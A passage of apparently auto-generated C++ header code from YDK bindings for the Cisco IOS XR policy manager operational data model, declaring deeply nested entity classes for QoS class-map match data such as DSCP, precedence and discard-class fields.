std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv6> src_addr_ipv6; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv6> dst_addr_ipv6; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrMac> src_addr_mac; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Timer> timer; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TimerRegexp> timer_regexp; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelName> tunnel_name; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelNameRegex> tunnel_name_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserName> user_name; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserNameRegex> user_name_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsername> auth_username; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsernameRegex> auth_username_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsername> unauth_username; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsernameRegex> unauth_username_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomain> auth_domain; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomainRegex> auth_domain_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomain> unauth_domain; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomainRegex> unauth_domain_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorId> vendor_id; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorIdRegex> vendor_id_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AccessInterface> access_interface; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputInterface> input_interface; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputIntfhdl> input_intfhdl; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype> ethertype; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData> flow_key_data; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientId> dhcp_client_id; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientIdRegex> dhcp_client_id_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitId> circuit_id; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitIdRegex> circuit_id_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteId> remote_id; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteIdRegex> remote_id_regex; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort> src_port; std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstPort> dst_port; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Dscp : public ydk::Entity { public: Ipv4Dscp(); ~Ipv4Dscp(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Dscp::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Dscp class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Dscp::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Dscp::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Dscp : public ydk::Entity { public: Ipv6Dscp(); ~Ipv6Dscp(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Dscp::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Dscp class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Dscp::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Dscp::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dscp : public ydk::Entity { public: Dscp(); ~Dscp(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dscp::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dscp class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dscp::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dscp::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Prec : public ydk::Entity { public: Ipv4Prec(); ~Ipv4Prec(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Prec class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Prec : public ydk::Entity { public: Ipv6Prec(); ~Ipv6Prec(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Prec class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Prec : public ydk::Entity { public: Prec(); ~Prec(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Prec class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DiscardClass : public ydk::Entity { public: DiscardClass(); ~DiscardClass(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DiscardClass class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::QosGroup : public ydk::Entity { public: QosGroup(); ~QosGroup(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string 